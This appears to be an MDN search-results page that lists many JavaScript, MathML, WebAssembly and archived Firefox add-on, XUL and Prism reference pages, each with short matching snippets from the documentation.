you cannot use it with a new operator or invoke the atomics object as a function.
... all properties and methods of atomics are static (as is the case with the math object, for example).
... atomic operations when memory is shared, multiple threads can read and write the same data in memory.
...And 5 more matches
BigInt64Array - JavaScript
once established, you can reference elements in the array using the object's methods, or by using standard array index syntax (that is, using bracket notation).
...8 in the case of a bigint64array.
...in the case of the bigint64array type, this is "bigint64array".
...And 5 more matches
BigUint64Array - JavaScript
once established, you can reference elements in the array using the object's methods, or by using standard array index syntax (that is, using bracket notation).
...8 in the case of a biguint64array.
...in the case of the biguint64array type this is "biguint64array".
...And 5 more matches
Float32Array - JavaScript
once established, you can reference elements in the array using the object's methods, or using standard array index syntax (that is, using bracket notation).
...4 in the case of an float32array.
...in the case of the float32array type: "float32array".
...And 5 more matches
Float64Array - JavaScript
once established, you can reference elements in the array using the object's methods, or using standard array index syntax (that is, using bracket notation).
...8 in the case of an float64array.
...in the case of the float64array type: "float64array".
...And 5 more matches
Function.name - JavaScript
a function object's read-only name property indicates the function's name as specified when it was created, or it may be rather anonymous or ''(an empty string) for functions created anonymously.
... javascript compressors and minifiers warning: be careful when using function.name and source code transformations, such as those carried out by javascript compressors (minifiers) or obfuscators.
... (function() {}).name; // "" (() => {}).name; // "" inferred function names variables and methods can infer the name of an anonymous function from its syntactic position (new in ecmascript 2015).
...And 5 more matches
Int16Array - JavaScript
once established, you can reference elements in the array using the object's methods, or using standard array index syntax (that is, using bracket notation).
...2 in the case of an int16array.
...in the case of the int16array type: "int16array".
...And 5 more matches
Int32Array - JavaScript
once established, you can reference elements in the array using the object's methods, or using standard array index syntax (that is, using bracket notation).
...4 in the case of an int32array.
...in the case of the int32array type: "int32array".
...And 5 more matches
Int8Array - JavaScript
once established, you can reference elements in the array using the object's methods, or using standard array index syntax (that is, using bracket notation).
...1 in the case of an int8array.
...in the case of the int8array type: "int8array".
...And 5 more matches
Intl.Collator - JavaScript
static methods intl.collator.supportedlocalesof() returns an array containing those of the provided locales that are supported without having to fall back to the runtime's default locale.
... intl.collator.prototype.resolvedoptions() returns a new object with properties reflecting the locale and collation options computed during initialization of the object.
...the following example demonstrates the different potential results for a string occurring before, after, or at the same level as another: console.log(new intl.collator().compare('a', 'c')); // → a negative value console.log(new intl.collator().compare('c', 'a')); // → a positive value console.log(new intl.collator().compare('a', 'a')); // → 0 note that the results shown in the code above can vary between browsers and browser versions.
...And 5 more matches
Intl.DisplayNames - JavaScript
static methods intl.displaynames.supportedlocalesof() returns an array containing those of the provided locales that are supported without having to fall back to the runtime's default locale.
... instance methods intl.displaynames.prototype.of() this method receives a code and returns a string based on the locale and options provided when instantiating intl.displaynames.
... intl.displaynames.prototype.resolvedoptions() returns a new object with properties reflecting the locale and formatting options computed during initialization of the object.
...And 5 more matches
Intl.RelativeTimeFormat() constructor - JavaScript
syntax new intl.relativetimeformat([locales[, options]]) parameters locales optional.
...for the general form and interpretation of the locales argument, see the intl page.
...an object with some or all of the following properties: localematcher the locale matching algorithm to use.
...And 5 more matches
Math.hypot() - JavaScript
if at least one of the arguments cannot be converted to a number, nan is returned.
... description calculating the hypotenuse of a right triangle, or the magnitude of a complex number, uses the formula math.sqrt(v1*v1 + v2*v2), where v1 and v2 are the lengths of the triangle's legs, or the complex number's real and complex components.
... the corresponding distance in 2 or more dimensions can be calculated by adding more squares under the square root: math.sqrt(v1*v1 + v2*v2 + v3*v3 + v4*v4).
...And 5 more matches
Math.log1p() - JavaScript
description for very small values of x, adding 1 can reduce or eliminate precision.
... 1 + 1e-15 = 1.000000000000001, but 1 + 1e-16 = 1.000000000000000 and therefore exactly 1.0 in that arithmetic, because digits past 15 are rounded off.
... when you calculate log(1 + x), you should get an answer very close to x, if x is small (that's why these are called 'natural' logarithms).
...And 5 more matches
Math.max() - JavaScript
if at least one of the arguments cannot be converted to a number, nan is returned.
... description because math is not a constructor, max() is a static method of math (you always use it as math.max(), rather than as a method of an instanced math object).
... -infinity is the initial comparant because almost every other value is bigger, that's why when no arguments are given, -infinity is returned.
...And 5 more matches
Promise.all() - JavaScript
note, google chrome 58 returns an already resolved promise in this case.
... a pending promise in all other cases.
... description this method can be useful for aggregating the results of multiple promises.
...And 5 more matches
handler.getOwnPropertyDescriptor() - JavaScript
interceptions this trap can intercept these operations: object.getownpropertydescriptor() reflect.getownpropertydescriptor() invariants if the following invariants are violated, the proxy will throw a typeerror: getownpropertydescriptor() must return an object or undefined.
... a property cannot be reported as non-existent, if it exists as a non-configurable own property of the target object.
... a property cannot be reported as non-existent, if it exists as an own property of the target object and the target object is not extensible.
...And 5 more matches
String.fromCharCode() - JavaScript
numbers greater than 0xffff are truncated.
... because fromcharcode() is a static method of string, you always use it as string.fromcharcode(), rather than as a method of a string object you created.
... returning supplementary characters in utf-16, the most common characters can be represented by a single 16-bit value (i.e.
...And 5 more matches
String.prototype.indexOf() - JavaScript
the indexof() method returns the index within the calling string object of the first occurrence of the specified value, starting the search at fromindex.
...the index of the first character is 0, and the index of the last character of a string called stringname is stringname.length - 1.
...e'.indexof('blute') // returns -1 'blue whale'.indexof('whale', 0) // returns 5 'blue whale'.indexof('whale', 5) // returns 5 'blue whale'.indexof('whale', 7) // returns -1 'blue whale'.indexof('') // returns 0 'blue whale'.indexof('', 9) // returns 9 'blue whale'.indexof('', 10) // returns 10 'blue whale'.indexof('', 11) // returns 10 the indexof() method is case sensitive.
...And 5 more matches
String.prototype.split() - JavaScript
the division is done by searching for a pattern; where the pattern is provided as the first parameter in the method's call.
... the separator can be a simple string or it can be a regular expression.
... the simplest case is when separator is just a single character; this is used to split a delimited string.
...And 5 more matches
Uint16Array() constructor - JavaScript
syntax new uint16array(); // new in es2017 new uint16array(length); new uint16array(typedarray); new uint16array(object); new uint16array(buffer [, byteoffset [, length]]); parameters length when called with a length argument, an internal array buffer is created in memory, of size length multiplied by bytes_per_element bytes, containing zeros.
... typedarray when called with a typedarray argument, which can be an object of any of the typed array types (such as int32array), the typedarray gets copied into a new typed array.
... object when called with an object argument, a new typed array is created as if by the typedarray.from() method.
...And 5 more matches
Uint16Array - JavaScript
once established, you can reference elements in the array using the object's methods, or using standard array index syntax (that is, using bracket notation).
...2 in the case of an uint16array.
...in the case of the uint16array type: "uint16array".
...And 5 more matches
Uint32Array - JavaScript
once established, you can reference elements in the array using the object's methods, or using standard array index syntax (that is, using bracket notation).
...4 in the case of an uint32array.
...in the case of the uint32array type: "uint32array".
...And 5 more matches
Uint8Array - JavaScript
once established, you can reference elements in the array using the object's methods, or using standard array index syntax (that is, using bracket notation).
...1 in the case of an uint8array.
...in the case of the uint8array type: "uint8array".
...And 5 more matches
Uint8ClampedArray - JavaScript
once established, you can reference elements in the array using the object's methods, or using standard array index syntax (that is, using bracket notation).
...1 in the case of an uint8clampedarray.
...in the case of the uint8clampedarray type: "uint8clampedarray".
...And 5 more matches
globalThis - JavaScript
property attributes of globalthis writable yes enumerable no configurable yes description historically, accessing the global object has required different syntax in different javascript environments.
... on the web you can use window, self, or frames - but in web workers only self will work.
...you can also use function('return this')(), but environments that disable eval(), like csp in browsers, prevent use of function in this way.
...And 5 more matches
Standard built-in objects - JavaScript
the global object itself can be accessed using the this operator in the global scope.
... other objects in the global scope are either created by the user script or provided by the host application.
... standard objects by category value properties these global properties return a simple value.
...And 5 more matches
async function expression - JavaScript
the async function keyword can be used to define async functions inside expressions.
... you can also define async functions using an async function statement.
... syntax async function [name]([param1[, param2[, ..., paramn]]]) { statements } as of es2015, you can also use arrow functions.
...And 5 more matches
new.target - JavaScript
the new.target pseudo-property lets you detect whether a function or constructor was called using the new operator.
...in normal function calls, new.target is undefined.
... examples new.target in function calls in normal function calls (as opposed to constructor function calls), new.target is undefined.
...And 5 more matches
for...in - JavaScript
deleted, added, or modified properties a for...in loop iterates over the properties of an object in an arbitrary order (see the delete operator for more on why one cannot depend on the seeming orderliness of iteration, at least in a cross-browser setting).
... array indexes are just enumerable properties with integer names and are otherwise identical to general object properties.
... because the order of iteration is implementation-dependent, iterating over an array may not visit elements in a consistent order.
...And 5 more matches
for - JavaScript
typically used to initialize a counter variable.
...variables declared with var are not local to the loop, i.e.
...variables declared with let are local to the statement.
...And 5 more matches
<menclose> - MathML
you can use #rgb, #rrggbb and html color names.
...you can use #rgb, #rrggbb and html color names.
...possible values are: value sample rendering rendering in your browser description longdiv (default) a2 + b2 long division symbol actuarial a2 + b2 actuarial symbol radical a2 + b2 square root symbol.
...And 5 more matches
<mn> - MathML
WebMathMLElementmn
you can use #rgb, #rrggbb and html color names.
...you can use #rgb, #rrggbb and html color names.
... deprecated values are: small, normal and big.
...And 5 more matches
<mtd> - MathML
WebMathMLElementmtd
columnspan a non-negative integer value that indicates on how many columns does the cell extend.
...you can use #rgb, #rrggbb and html color names.
...you can use #rgb, #rrggbb and html color names.
...And 5 more matches
<mtext> - MathML
WebMathMLElementmtext
you can use #rgb, #rrggbb and html color names.
...you can use #rgb, #rrggbb and html color names.
... deprecated values are: small, normal and big.
...And 5 more matches
Media type and format guide: image, audio, and video content - Web media technologies
WebMediaFormats
originally, these capabilities were limited, and were expanded organically, with different browsers finding their own solutions to the problems around including still and video imagery on the web.
...generally, the media formats supported by a browser are entirely up to the browser's creators, which can complicate the work of a web developer.
... references images image file type and format guide covers support of image file types and content formats across the major web browsers, as well as providing basic information about each type: benefits, limitations, and use cases of interest to web designers and developers.
...And 5 more matches
Recommended Web Performance Timings: How long is too long? - Web Performance
there are no clear set rules as to what constitutes a slow pace when loading pages, but there are specific guidelines for indicating content will load (1 second), idling (50ms), animating (16.7s) and responding to user input (50 to 200ms).
...a second should be considered a rule in the maximum amount of time to indicate to a user that the request for new content was made and will load, such as the browser displaying the page title and the background color of the page displaying.
... the first asset retrieved from a request is usually an html document, which then makes calls for additional assets.
...And 5 more matches
Secure contexts - Web security
a secure context is a window or worker for which certain minimum standards of authentication and confidentiality are met.
... a context is considered secure when it meets certain minimum standards of authentication and confidentiality defined in the secure contexts specification.
... a particular document is considered to be in a secure context when it is the active document of a top-level browsing context (basically, a containing window or tab) that is a secure context.
...And 5 more matches
Web technology for developers
developing web applications documentation for web application developers; web apps are true write-once, deploy anywhere apps for mobile, desktop, and firefox os.
... code snippets this is a quick list of useful code snippets (small code samples) available for developers of extensions for the various mozilla applications.
... many of these samples can also be used in xulrunner applications, as well as in actual mozilla code itself.
...And 5 more matches
Exported WebAssembly functions - WebAssembly
exported webassembly functions are basically just javascript wrappers that represent webassembly functions in javascript.
... when you call them, you get some activity in the background to convert the arguments into types that wasm can work with (for example converting javascript numbers to int32), the arguments are passed to the function inside your wasm module, the function is invoked, and the result is converted and passed back to javascript.
... you can retrieve exported webassembly functions in two ways: by calling table.prototype.get() on an existing table.
...And 5 more matches
Index - WebAssembly
found 12 pages: # page tags and summary 1 webassembly landing, webassembly, wasm webassembly is a new type of code that can be run in modern web browsers — it is a low-level assembly-like language with a compact binary format that runs with near-native performance and provides languages such as c/c++ with a compilation target so that they can run on the web.
... 2 caching compiled webassembly modules caching, indexeddb, javascript, module, webassembly, compile, wasm caching is useful for improving the performance of an app — we can store compiled webassembly modules on the client so they don't have to be downloaded and compiled every time.
... 3 compiling a new c/c++ module to webassembly c, c++, compiling, emscripten, webassembly, wasm when you’ve written a new code module in a language like c/c++, you can compile it into webassembly using a tool like emscripten.
...And 5 more matches
Loading and running WebAssembly code - WebAssembly
this article provides a reference for the different mechanisms that can be used to fetch webassembly bytecode, as well as how to compile/instantiate then run it.
... the quickest, most efficient way to fetch a wasm module is using the newer webassembly.instantiatestreaming() method, which can take a fetch() call as its first argument, and will handle fetching, compiling, and instantiating the module in one step, accessing the raw byte code as it streams from the server: webassembly.instantiatestreaming(fetch('simple.wasm'), importobject) .then(results => { // do something with the results!
...the object looks like this: { module : module // the newly compiled webassembly.module object, instance : instance // a new webassembly.instance of the module object } note: usually we only care about the instance, but it’s useful to have the module in case we want to cache it, share it with another worker or window via postmessage(), or simply create more instances.
...And 5 more matches
Cross-domain Content Scripts - Archive of obsolete content
in particular, they can't: access content hosted in an iframe, if that content is served from a different domain make cross-domain xmlhttprequests however, you can enable these features for specific domains by adding them to your add-on's package.json under the "cross-domain-content" key, which itself lives under the "permissions" key: "permissions": { "cross-domain-content": ["http://example.org/", "http://example.com/"] } the domains listed must include the scheme and fully qualified domain name, and these must exactly match the domains serving the content - so in the example above, the content script will not be allowed to access content served from https://example.com/.
... wildcards are not allowed.
... cross-domain iframes the following "main.js" creates a page-worker which loads a local html file called "page.html", attaches a content script called "page.js" to the page, waits for messages from the script, and logs the payload.
...And 4 more matches
Contributor's Guide - Archive of obsolete content
unlike languages like c++ and java, javascript does not have native support for classical inheritance.
... instead, it uses something called prototypal inheritance.
... as it turns out, it is possible to emulate classical inheritance using prototypal inheritance, but not without writing a significant amount of boilerplate code.
...And 4 more matches
SDK and XUL Comparison - Archive of obsolete content
compatibility although we can't promise we'll never break a high-level api, maintaining compatibility across firefox versions is a top priority for us.
... security if they're not carefully designed, firefox add-ons can open the browser to attack by malicious web pages.
... although it's possible to write insecure add-ons using the sdk, it's not as easy, and the damage that a compromised add-on can do is usually more limited.
...And 4 more matches
Testing the Add-on SDK - Archive of obsolete content
with cfx cfx tests use the deprecated sdk/loader/cuddlefish, which is being replaced by toolkit/loader.
... with cfx (which is part of the addon-sdk repo), we can run the first test suite which was produced for the add-on sdk.
... this suite basically tests cfx xpi's ability to produce the xpi files that we expect it to.
...And 4 more matches
Two Types of Scripts - Archive of obsolete content
this enables you to call functions like: window.alert("hello there"); in an add-on's main scripts you can't do that, because the add-on code does not execute in the context of a page, and the dom is therefore not available.
...in the sdk documentation we call one sort "add-on code" and the other sort "content scripts".
... minimally you'll have a single module implemented by a script called "main.js", but you can include additional modules in lib, and import them using the require() function.
...And 4 more matches
querystring - Archive of obsolete content
globals functions stringify(fields, separator, assignment) serializes an object containing name:value pairs into a query string: querystring.stringify({ foo: 'bar', baz: 4 }); // => 'foo=bar&baz=4' by default '&' and'=' are used as separator and assignment characters, but you can override this using additional optional parameters: querystring.stringify({ foo: 'bar', baz: 4 }, ';', ':'); // => 'foo:bar;baz:4' parameters fields : object the data to convert to a query string.
... escape(query) the escape function used by stringify to encodes a string safely matching rfc 3986 for application/x-www-form-urlencoded.
... parameters query : string the query string to escape.
...And 4 more matches
content/symbiont - Archive of obsolete content
used by sdk modules that can load web content and attach content scripts to it.
... var { symbiont } = require('sdk/content/content'); var thing = symbiont.resolve({ constructor: '_init' }).compose({ constructor: function thing(options) { // `getmyframe` returns the host application frame in which // the page is loaded.
... parameters options : object optional options: name type frame object the host application frame in which the page is loaded.
...And 4 more matches
event/core - Archive of obsolete content
the event/core module allows the creation of apis to broadcast and subscribe to events.
... usage many modules in the sdk can broadcast events.
...this will call all registered listeners for the given type on the given event target in the same order they were registered.
...And 4 more matches
loader/sandbox - Archive of obsolete content
the argument may be: a url string, in which case the sandbox will get the same privileges as a script loaded from that url a dom window object, to inherit privileges from the window being passed.
... optionally the sandbox function can be passed a second argument (see sandbox documentation on mdn for details).
...evaluate(scope, 'a ++', 'http://foo.com/bar.js', 2); version of javascript can be also specified via an optional argument: evaluate(scope, 'let b = 2;', 'bar.js', 1, '1.5'); // throws cause `let` is not defined in js 1.5.
...And 4 more matches
system/events - Archive of obsolete content
api for working with the application observer service.
... usage the system/events module provides core (low level) api for working with the application observer service, also known as nsiobserverservice.
... you can find a list of events dispatched by the firefox codebase here.
...And 4 more matches
util/match-pattern - Archive of obsolete content
usage specifying patterns there are three ways you can specify patterns: as an exact match string using a wildcard in a string using a regular expression exact matches a url matches only that url.
... the url must start with a scheme, end with a slash, and contain no wildcards.
... example pattern example matching urls example non-matching urls "http://example.com/" http://example.com/ http://example.com http://example.com/foo https://example.com/ http://foo.example.com/ wildcards a single asterisk matches any url with an http, https, or ftp scheme.
...And 4 more matches
Unit Testing - Archive of obsolete content
a simple base64 module in a web page, you can perform base64 encoding and decoding using the btoa() and atob() functions.
...now create a new file called "base64.js", and give it the following contents: const { atob, btoa } = require("resource://gre/modules/services.jsm"); exports.atob = a => atob(a); exports.btoa = b => btoa(b); this code exports two functions, which just call the platform's btoa() and atob() functions.
... now "index.js" imports the base64 module and calls its two exported functions.
...And 4 more matches
Downloading Files - Archive of obsolete content
downloading files to download a file, create an instance of nsiwebbrowserpersist and call its nsiwebbrowserpersist.saveuri() method, passing it a url to download and an nsifile instance representing the local file name/path.
...var privacy = privatebrowsingutils.privacycontextfromwindow(urlsourcewindow); persist.persistflags = persist.persist_flags_from_cache | persist.persist_flags_replace_existing_files; persist.saveuri(uritosave, null, null, null, "", targetfile, privacy); if you don't need detailed progress information, you might be happier with nsidownloader.
...lprogress, amaxtotalprogress) { var percentcomplete = math.round((acurtotalprogress / amaxtotalprogress) * 100); progresselement.textcontent = percentcomplete +"%"; }, onstatechange: function(awebprogress, arequest, astateflags, astatus) { // do something } } persist.saveuri(obj_uri, null, null, null, "", targetfile, privacy); downloading files that require credentials before calling nsiwebbrowserpersist.saveuri(), you need to set the progresslistener property of the nsiwebbrowserpersist instance to an object that implements nsiauthprompt.
...And 4 more matches
On page load - Archive of obsolete content
creating an overlay first, you need to create an overlay to one (or more, depending on which applications you target) of the following xul documents: application uri to overlay firefox chrome://browser/content/browser.xul thunderbird chrome://messenger/content/messenger.xul navigator from seamonkey chrome://navigator/content/navigator.xul attaching a script attach a script to your overlay (see "attaching a script to an overlay") that adds ...
... // doc.location is a location object (see below for a link).
... // you can use it to make your code executed on certain pages only.
...And 4 more matches
XUL user interfaces - Archive of obsolete content
information: user interfaces although html has some support for user interfaces, it does not support all the features that you need to make a standalone application.
...more specialized features can be built from parts by using xul together with other technologies that you have seen in this tutorial: css style, javascript code, and xbl bindings.
...copy and paste the content from here, making sure that you scroll to get all of it: <?xml version="1.0"?> <?xml-stylesheet type="text/css" href="style7.css"?> <!doctype window> <window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" title="css getting started - xul demonstration" onload="init();"> <script type="application/javascript" src="script7.js"/> <label class="head-1" value="xul demonstration"/> <vbox> <groupbox class="demo-group"> <caption label="day of week calculator"/> <grid> <columns> <column/> <column/> </columns> <rows> <row> <label class="text-prompt" value="date:" accesskey="d" control="date-text"/> <textbox...
...And 4 more matches
Environment variables affecting crash reporting - Archive of obsolete content
moz_crashreporter_fulldump store full application memory in the minidump, so you can open it in a microsoft debugger.
...you can use this if you would rather use the jit debugger on windows with the symbol server, for example.
... moz_crashreporter_shutdown save the minidump and then force the application to close.
...And 4 more matches
Using XML Data Islands in Mozilla - Archive of obsolete content
html5 has a more general feature called "data blocks" that can carry almost any textual data, including xml.
... javascript can use the content of a <script> element as a data block if the src attribute is omitted and the type attribute does not specify an executable script type.
... when putting xml in a data block, you need to make sure that the xml content you are embedding does not have an end tag that case-insensitively matches "</script>".
...And 4 more matches
Locked config settings - Archive of obsolete content
putting into place locked configuration settings this feature exists for mozilla and firefox, but not for thunderbird locked settings can be put into a mozilla.cfg file in the c:\program files\mozilla.org\mozilla directory.
...the encoding is a simple "byte-shifting" with an offset of 13 (netscape 4 used a similar encoding, but with a of 7 instead).
... this file also needs to be "called" from c:\program files\mozilla.org\mozilla\defaults\pref\all.js by appending the following line at the end: pref("general.config.filename", "mozilla.cfg"); note: newer versions of mozilla or firefox store the all.js file in greprefs rather than defaults\pref the moz-byteshift.pl script allows to encode...: moz-byteshift.pl -s 13 <mozilla.cfg.txt >mozilla.cfg ...
...And 4 more matches
Compiling The npruntime Sample Plugin in Visual Studio - Archive of obsolete content
should either be like "application/x-vnd-yourorganization-yourfiletype" or be officially registered with iana (unlikely) or be a standard type (e.g.
...when loaded from local disk on windows.
... build create a new project in visual studio for a win32 gui library (dll) (in .net 2003: win32 template, then switch to dll in application settings in the following dialog, export symbols too?)(in visual studio 2008, it is visualc++|win32|win32 project, then check dll in the wizard).
...And 4 more matches
Finding the file to modify - Archive of obsolete content
the structure layer identifies the widgets (menus, buttons, etc.) and their position in the ui relative to each other, the style layer defines how the widgets look (size, color, style, etc.) and their overall position (alignment), and the behavior layer specifies how the widgets behave and how users can use them to accomplish their goals.
... mention the localization layer (note: these layers are not completely mutually exclusive.
... in particular, positioning information can be specified in both the structure layer and the style layer, and some behavior can be partly defined in the style layer.) we're going to add code to all three ui layers, starting with the structure layer.
...And 4 more matches
Basics - Archive of obsolete content
you can find the console in the extra menu of firefox.
...log(stringstring)this method writes a notification message to the console.
...logfromcaller()this method does stuff.
...And 4 more matches
Microsummary XML grammar reference - Archive of obsolete content
only relevant for generators dynamically created by firefox code and extensions.
... the <pages> element can contain zero or more <include> and <exclude> child elements, each of which must contain a valid javascript-compatible regular expression.
...the order in which child elements appear within the <pages> element is not significant.
...And 4 more matches
Build - Archive of obsolete content
extract the source code, and you should have a directory called mozilla/.
... change directory into mozilla/ and checkout the latest prism code : cd mozilla/ svn co http://svn.mozilla.org/projects/webrunner/trunk prism create a file called .mozconfig make sure it is in the mozilla/ directory.
... the contents of the file should look something like this : mk_add_options moz_co_project=xulrunner mk_add_options moz_objdir=@topsrcdir@/mozilla-obj ac_add_options --enable-application=xulrunner ac_add_options --disable-debug ac_add_options --enable-optimize ac_add_options --disable-tests ac_add_options --disable-javaxpcom build xulrunner : make -f client.mk build once the build is done, there will be a directory called mozilla-obj.
...And 4 more matches
FAQ - Archive of obsolete content
ArchiveMozillaPrismFAQ
prism is an application that integrates web applications into the desktop environment.
... it lets users start web applications from their desktop, start menu, and dock, and it opens those applications in their own window separate from a web browser and without the browser interface (back and forward buttons, location bar, etc.).
...it is one of the experiments being conducted by mozilla labs to bridge the divide in the user experience between web applications and desktop apps.
...And 4 more matches
HostWindow - Archive of obsolete content
prism hosts web applications in a simple, minimal window.
...prism can be configured to show or hide several of the ui components.
... location bar - a readonly textbox that contains the currently displayed url.
...And 4 more matches
Hacking wiki - Archive of obsolete content
to be able to hack the mdc wiki software, you'll need a local webserver install, which can run mediawiki.
...the contents of the <tt>trunk</tt> directory you just checked out is a slightly modified mediawiki install, so you can follow the mediawiki install instructions.
...polvi claims that you'll have it, but in case you don't, you can copy one from the mediawiki tarball.
...And 4 more matches
Remote debugging - Archive of obsolete content
transferring a core dump is tricky, because it is large and can contain private information.
...you can then load the core file into gdb (gdb firefox-bin corefile), and it will be as if you caught the crash while running firefox under gdb!
...core dumps on windows on windows you can produce a "minidump".
...And 4 more matches
Event Handlers - Archive of obsolete content
this action can be specified either using an action attribute or by specifying the script as a child of the handler element.
...in both cases the javascript body is compiled just before execution; code that does not depend on the context of the event should be factored into normal javascript file.
...the other possible values are target, which means the handler will only fire if event.originaltarget is the same as the target to which the handler is attached, and capturing, which indicates the handler should fire during the capturing phase of event flow.
...And 4 more matches
XBL 1.0 Reference - Archive of obsolete content
extensible binding language is a xml-based markup language to implement reusable components (bindings) that can be bound to elements in other documents.
... the element with a binding specified, called the bound element, acquires the new behavior specified by the binding.
... bindings can be bound to elements using cascading style sheets (css) or dom.
...And 4 more matches
Properties - Archive of obsolete content
the majority of this api is now deprecated and as of gecko 1.9 no longer available.
...properties archive full local path of the archive after it is downloaded to the platform specific temp folder.
...c:\temp\argstest.xpi) arguments args can be passed in through the triggering apis by attaching a ?
...And 4 more matches
accesskey - Archive of obsolete content
« xul reference home attribute of: button, checkbox, caption, description, label, listitem, menu, menuitem, menulist, tab, radio, toolbarbutton, textbox accesskey type: character this should be set to a character that is used as a shortcut key.
...on the macintosh, labels are never underlined, however accesskeys can still be used by pressing the letter combined with the command key.
... *(these are the keys corresponding to event.ctrlkey and event.metakey respectively when listening to key events) although the value is case insensitive, a letter with the case matching the accesskey attribute will be used if both cases exist in the label.
...And 4 more matches
buttons - Archive of obsolete content
the buttons will be placed in suitable locations for the user's platform and basic event handling will be performed automatically.
... the following values can be used in the list: accept: the ok button, which will accept the changes when pressed.
... cancel: the cancel button which will cancel the operation.
...And 4 more matches
Sorting and filtering a custom tree view - Archive of obsolete content
for the sake of simplicity, strings are not localized and the data loaded is hard coded.
... because of bug 340478, this code will only work from privileged script.
... sort.xul <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <!doctype window> <window title="sorting a custom tree view example" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" onload="init()"> <script type="application/javascript" src="sort.js"/> <hbox align="center" id="search-box"> <label accesskey="f" control="filter">filter</label> <textbox id="filter" oninput="inputfilter(event)" flex="1"/> <button id="clearfilter" oncommand="clearfilter()" label="clear" accesskey="c" disabled="true"/> </hbox> <tree id="tree" flex="1" persist="sortdirection sortresource" sortdirection="ascending" sortresource="description"> <treecols> <treecol id="name" label="name" flex="1" persist="width ordinal hidden" onclick="sort(th...
...And 4 more matches
Additional Template Attributes - Archive of obsolete content
however, you may use the template attribute to refer to a template located elsewhere within the document.
...the datasources and ref attributes also differ for each usage, so it is possible to use a shared template to display the same structure multiple times but with different starting nodes in each case.
... declaring the container and member variables normally, the container and member variables are determined by the template builder automatically.
...And 4 more matches
Bindings - Archive of obsolete content
« previousnext » we can add more triples to the previous example to show more information.
...<query> <content uri="?start"/> <member container="?start" child="?photo"/> <triple subject="?photo" predicate="http://purl.org/dc/elements/1.1/title" object="?title"/> <triple subject="?photo" predicate="http://purl.org/dc/elements/1.1/description" object="?description"/> </query> it works similarly to the previous triple.
...this is because only one item has a description.
...And 4 more matches
Static Content - Archive of obsolete content
instead it will be what is called static content in a template.
... <menulist datasources="template-guide-photos4.rdf" ref="http://www.daml.org/2001/09/countries/country-ont#country" oncommand="applyfilter(event.target.value);"> <menupopup> <menuitem label="all"/> </menupopup> <template> <query> <content uri="?start"/> <triple subject="?country" predicate="http://www.w3.org/1999/02/22-rdf-syntax-ns#type" object="?start"/> <triple subject="?country" predicate="http://purl.org/dc/elements/1.1/title" object="?countrytitle"/> </query> <action> <menupopup> <menuitem uri="?country" label="?countrytitle" value="?country"/> </menupopup> </action> </template> </menulist> t...
...when processing the action body, the builder looks at the first element inside the action, in this case, the menupopup.
...And 4 more matches
Persistent Data - Archive of obsolete content
remembering state when building a large application, you will typically want to be able to save some of the state of a window across sessions.
...however, that would be a pain to do for every application.
...the information is collected and stored in a rdf file (localstore.rdf) in the same directory as other user preferences.
...And 4 more matches
XBL Inheritance - Archive of obsolete content
one way to create this is to duplicate the existing xbl code for buttons.
...any binding can be extended with another.
... the child binding can add properties, methods and event handlers.
...And 4 more matches
listcell - Archive of obsolete content
start the text will be cropped on its left side in left-to-right text locales, and the right side in right-to-left locales.
... end the text will be cropped on its right side in left-to-right text locales, and the right side in right-to-left locales.
...for example, for a menuitem in a menu you can add the following css rule when you want to use the value none: menupopup > menuitem, menupopup > menu { max-width: none; } disabled type: boolean indicates whether the element is disabled or not.
...And 4 more matches
observes - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] the observes element can be used to listen to a broadcaster and receive events and attributes from it.
... the observes element should be placed inside the element that wants to observe the broadcaster.
... when an observed attribute is modified on the broadcaster, the attribute's value will be forwarded and set on the parent element of the observer.
...And 4 more matches
stringbundle - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] an element which can be used to load localized resources from property files.
... the "src" attribute accepts only absolute chrome:// urls (see bugs 133698, 26291) attributes src properties applocale , src, stringbundle, strings methods getformattedstring, getstring examples (example needed) attributes src type: uri the uri of the property file that contains the localized strings.
... inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties applocale obsolete since gecko 1.9.1 type: nsilocale returns the xpcom object which holds information about the user's locale.
...And 4 more matches
where - Archive of obsolete content
ArchiveMozillaXULwhere
« xul reference home [ examples | attributes | properties | methods | related ] indicate a condition that must match for a template result to be used.
... attributes ignorecase, multiple, negate, rel, subject, value examples (example needed) attributes ignorecase type: boolean set to true to indicate that the case does not matter when making comparisons.
... otherwise, the default value is false, to indicate that the value should match with the same case.
...And 4 more matches
XUL - Archive of obsolete content
xul (xml user interface language) is mozilla's xml-based language for building user interfaces of applications like firefox.
...xul applications are applications using xul and other components of the platform).
...they provide a powerful mechanism for extending and customizing existing xul applications.
...And 4 more matches
XULRunner - Archive of obsolete content
xulrunner is a mozilla runtime package that can be used to bootstrap xul+xpcom applications that are as rich as firefox and thunderbird.
... it provides mechanisms for installing, upgrading, and uninstalling these applications.
... firefox (from version 3) ships with a private xulrunner package, which can run any compatible xulrunner application using the -app switch: firefox -app application.ini is equivalent to xulrunner -app application.ini older builds are also available.
...And 4 more matches
Mozrunner - Archive of obsolete content
mozrunner is a python package which handles running of mozilla applications.
... mozrunner utilizes mozprofile for managing application profiles and mozprocess for robust process control.
... mozrunner may be used from the command line or programmatically as an api.
...And 4 more matches
2006-10-27 - Archive of obsolete content
the question tony posted was that he wanted to know what was wrong with fx 1.5.0.x (linux) tinderbox because it has been failing since october 22 at around 5:45 pm pdt.
... he also mentioned that the tinderbox is just a virtual machine, so you can easily allocate more space to it as need, assuming the host has some available.
... ./configure --prefix=/export/home/alex/thunderbird --enable-application=browser --disable-tests --disable-debug -disable-auto-deps --disable-freetype2 -enable-official-branding --enable-default-toolkit=gtk2 --enable-optimize=-xo5 --enable-static --disable-shared --enable-xft --enable-svg the build tools that he used to build firefox 2 are listed in his posting along with the error that he receives when he tries to build it.
...And 4 more matches
JS-Engine FAQ - Archive of obsolete content
check the jsval macros at the top of js/src/jsapi.h can an embedded spidermonkey js engine use domparser extension of mozilla?
